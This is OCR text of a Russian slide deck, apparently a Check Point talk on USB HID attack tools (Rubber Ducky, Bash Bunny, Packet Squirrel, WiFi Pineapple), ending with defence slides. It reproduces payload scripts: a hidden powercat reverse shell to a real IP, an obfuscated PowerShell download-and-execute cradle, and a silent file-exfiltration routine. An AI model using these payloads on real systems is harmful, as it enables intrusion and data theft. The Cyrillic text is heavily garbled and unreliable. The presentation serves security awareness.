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USB RUBBER DUCKY ...
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[pavBepa
dusmnueckum He TpebytoTcs
A40CTynN
Kpanne HID-aTaku
OlACEH CUMYIUPYHOT

KnaBmatypy
N Mbllb

ATakyoLKMN 3anycKaeT Kog, Kak byaTo cMANT 3a KNnaBmaTypoun.
TonbKo HaMHOro bbicTpee ©
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4TO BHYTPW?

«KnaBmatypa»
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V4 Payload xpaHuTca
Ha Micro SD.

Pa3Hble firmware ana
Pa3HbIX 3ajau.

V4 DbdekTMBHO B Nt0ObIX
coBpeMeHHbIx OC,
MCNONb3YHOLLLNX
KnaBmatypy, —
Windows, OSX, Linux
n paxxe Android.
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CO3/IAHVE PAYLOAD o
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HanuwwuTte

CKpUMT
o 3anuwunTe
C MCNOJIb3OBaHNEM W\ 3akogupyunte cKpANT [ToakntouunTe
“duck script” CKOWAT "ducky” k MK
P Ha SD card , y

- DELAY, STRING, GUI,
ENTER, CAPSLOCK,

NUMLOCK...
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KAK 2TO BbITTAANT?

REM * I'll HACK YOU! *
DELAY 2000

GUIr

DELAY 100

STRING cmd

ENTER

DELAY 500
STRING color FE
ENTER

STRING mode con:cols=18 lines=1

ENTER

STRING tree c:\ /F /A
ENTER

DELAY 20000
STRING exit

ENTER

= Run

==)

= Type the name of a program, folder, document, or Internet
resource, and Windows will open it for you.

Open: cmd

oK

| | Cancel | | Browse...

rmi o e B et

B
Check Point
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REM * obfuscated *

DELAY 2000

GUIr

DELAY 100

STRING cmd /c "mode con:cols=18 lines=1
& start calc & tree c:\ /F /A > % TEMP%\tr.txt
&& %BTEMP%\tr.txt & exit"

ENTER
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REM nc -vv -1 45.62.245.191 -p 443
DELAY 5000
GUI r

DELAY 100

STRING powershell.exe -ex unrestricted -c "Import-module ('{0}:\powercat.psl' -f
(Get-volume -FileSystemLabel '_').driveletter); powercat -c 45.62.245.191 -p 443

-ep" -WindowStyle Hidden
ENTER

IEX (New-Object Net.webClient) .DownloadString('http://xxx.ru/powercat.psl’');

CTaHAapTHbIN CUCTEMHbIN NPOoLEecC

&("{eH{2H3IH1H4}"-f "In","e", 'voke-

Exp','r',"ssion’) (&( "{2HOH1}"-f'w-
Obje”, ct’,"Ne") ( "{0HI1H2H3}"-f
"N, tet.”, "Web”, "Client") ). ("{@}H{3H1}
{2H4}"-f'Downl","ad",’'s", 0", "tring"
D

). Invoke(({ "http' + ":"+'/"+'/bi’
+t. 1yt +/L3gltt )

NcnonHdaeTcs PowerShell
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32 Bit Teensy Boards

High performance
Large Memory
Plentiful Resources

Teensy 3.2
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72 MHz Cortex-M4 180 MHz Cortex-M4F
3.3V signals, 5V tolerant 3.3V signals
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43 MHz Cortex-MO+ 120 MHz Cortex-M4F
3.3V signals 3.3V signals, 5V tolerant
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HAKS: BASH BUNNY =
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DMYyAupYyerT:

O KnaBumatypy

O CbEMHbI HOCUTENb
O CeTeBOW aganTtep
O

LLIBenuapckumin Serial (COM port over USB)

HO>K

Bce, uto moxet Rubber Ducky, n aaxxe 6onbLie!

EEEEEEEEEEEEEE
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MPUMEP: YKPACTb ®A/IbI YEPE3 OJIELLIKY .

# Exfiltration to Storage

LED B SINGLE

ATTACKMODE HID STORAGE

# ATTACKMODE HID STORAGE VID_0XF000 PID_0X1234
LED Y SINGLE

sleep 3

LED C DOUBLE

GET SWITCH_POSITION

RUN WIN "powershell -nologo -WindowStyle Hidden
((gwmi win32_volume -f
'label="_"").Name+"\\payloads\\$ SWITCH_POSITION\\

d.cmd’)"”
LED FINISH

SOFTWARE TECHNOLOGIES LTD

d.cmd

start /b /wait powershell.exe -nologo -
WindowsStyle Hidden -sta -command "$wsh =
New-Object -ComObject
WScript.Shell;$wsh.SendKeys('{CAPSLOCK}');sleep
-m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m”

cscript %~dpO\i.vbs %~dp0O\e.cmd

l.vbs

CreateObject("Wscript.Shell").Run """" &
WScript.Arguments(0) & """", 0, False

e.cmd
xcopy /C /Q /G /Y /S %src%\* %dst% >>nul
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PACKET SQUIRREL Check Point

® Atheros AR9331 SoC at 400 MHz MIPS
Push Button
Ethernet Out

RBBLEE@'S\HWB Onboard Flash|
ToLAN

ﬂlﬂﬁ : B
5B Storage

J E NTFS /EXTA

.5 V, 150mAR
/i

® RGB Indicator

N Default Payloads  Default Settings

Paynabieriimtatnhe Push-?j:t
load | — IUPﬂumﬂ USER: root
‘ %M r: USB 5V 12 average draw pg i
o [Aald . : 16 i HHHEHVPN IP- 1216321
Nk R

® Weight: 24 grams
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PACKET SQUIRREL: OPENVPN
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s | AN SEGMENT
s /PN SEGMENT

Packet Squirrel OpenVPN Payload

Mode 1: Remote Access

3
Packet Squirrel OpenV/PN Payload m— | AN SEGMENT
Mode 2: Tunnel Client mmm— /PN SEGMENT
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MHCTPYMEHTbBI 414 WI-FI
(PINEAPPLE TETRA I NANO) Check Point

@)

6th generation software featuring PineAP, . -
. 6th generation software featuring PineAP,
web interface and modules we s e and e 2

(2 Dual-Band (24/5 GHz) 802.11 a/b/g/n radios 0 0 400 A pet racio with included antennas
eros an cnipsets

Integrated Power over USB Ethernet Plug
(4x) Skybridge amplifiers with 800 mW per radio

Memory expansion via Micro SD (up to 128 GB)
Optional mobile EDC Tactical case and battery
using included antennas (SMA)

USB 2.0 Host accessory expansion port

O O O O O O

Integrated Power over USB Ethernet Port
(Realtek RTL8152B chipset)

Integrated Power over USB Serial Port
(FTDI D2XX chipset)

533 MHz MIPS 74K Atheros AR9344 SoC
2 GB NAND Flash

USB 2.0 Host Port

RJ45 Fast Ethernet LAN Port
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OnwncaHwne ToBapa

Kaktyc WHID: WiFi ckpbiTbiii HHXKeKTOp USB Rubberducky Ha crepoun b

WiFi cnpsitana nHxektop ansa yoosonbcteusa u npubeinn-USB Rubberducky Ha ctepouabl. [MHaneBnayansHein HW Ha ocHoBe Atmega 32u4d n
ESP-12S.

JTO YCTPOWCTBO NO3BONSAET HaxXaTue KnaBull, YTobbl ObITh oTNpaBneHHbIM Yeped WIFi Kk ueneson malunHe. Llenb npusHaet, yto Ducky Kak

cTaHOapTHas KnaBuaTtypa CKpbiTa U nocnegoBaTerbHbIN MNOPT, NO3BONAET OCYLECTBNATb MHTEPAKTUBHbLIE KOMAaH/bl U CLLeHapuK, KoTopble ByayT
BbINOJIHATBECA Ha Lenn yaalneHHo.

ABTOp AusanHa obopynoBaHus: Luca Bongiorni

CTopoHBeYvepHMe Softwares coBMmecTuMbIl ¢ annapatHbiMu cpeacteamu WHID

e HOpKHYTb. Ninja

e Https://github.com/sensepost/USaBUSe
e Https://github.com/spacehuhn/wifi_ducky
e Https://github.com/basic4/WiDucky

[Tocbinka COOEPXKUT.

e KakTVvC ODKHVTb X 1

EJEBECWRITY
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YCMNEWHAA CTPATEIMA SALLNTDI

Cyber kill chain — waru ycnewHoun knbep-atakm

Mepea KomnpomeTauumeim

Check Point
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KomnpomeTtauyuwumas Mocne KomnpomeTayuuwu

— - — — - e | |OAKNOYEHME | 3anyck —
Pa3Begka BoopyxeHue JlocTaBKa [NpOHMKHOBEHME YcTaHOBKa (C&0)

AEeNCTBUN

BHeapuTe 3awuty He cywectByeTt cepebpaHon nyam

HA KAXKAOM Lare YBennubTe CTOMMOCTb aTakn 415 Xakepa

[lpegoTBpaLLeHme BoirogHas ¢opma Ywepb ~ BpeMeHu

[lpeBeHTVBHaA 3anTa 3alUThI

T sddekTMBHOCTb
A0 3apaxeHus 3alUTMTECh OT pa3pyLLUMTENbHbIX ¢

o o paccneoBaHNA NHLNAEHTOB
nocneaAcTBUn yCnewHOW aTaku

DbPeKTnBHAA 3aLUnTa
NMOC/E 3apaxeHuns
U
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KOMJTEKCHAA 3ALLWNTA OT KNBEPYI'PO3

—— — —

Threat Intelligence n nouck pULIMHroBbIX KOMNAHUM

ﬁ@@%ﬁ C{Z)) CermeHTtauusa cetu u ctporaa noautnka NGFW, niHcnekuyuma SSL
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NMpeaotBpalleHUe N3BeCTHbIX yrpos
@& ﬁ peaoTspaly yrp

KoHTponb BeKTOpoOB ataku no ¢popmartam pannos
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rj':l MpepoTBpaLLeHNe HEU3BECTHbIX Yrpo3

@ MpepoTBpaweHne ULLINHIA

NpepoTtBpalieHne WwndppoBanbLLUKOB
SBY 1 3KCN/IOUTOB B peasibHOM BPpEeMEHMU

o
L@ N3onauua, neyeHue, paccaegoBaHume
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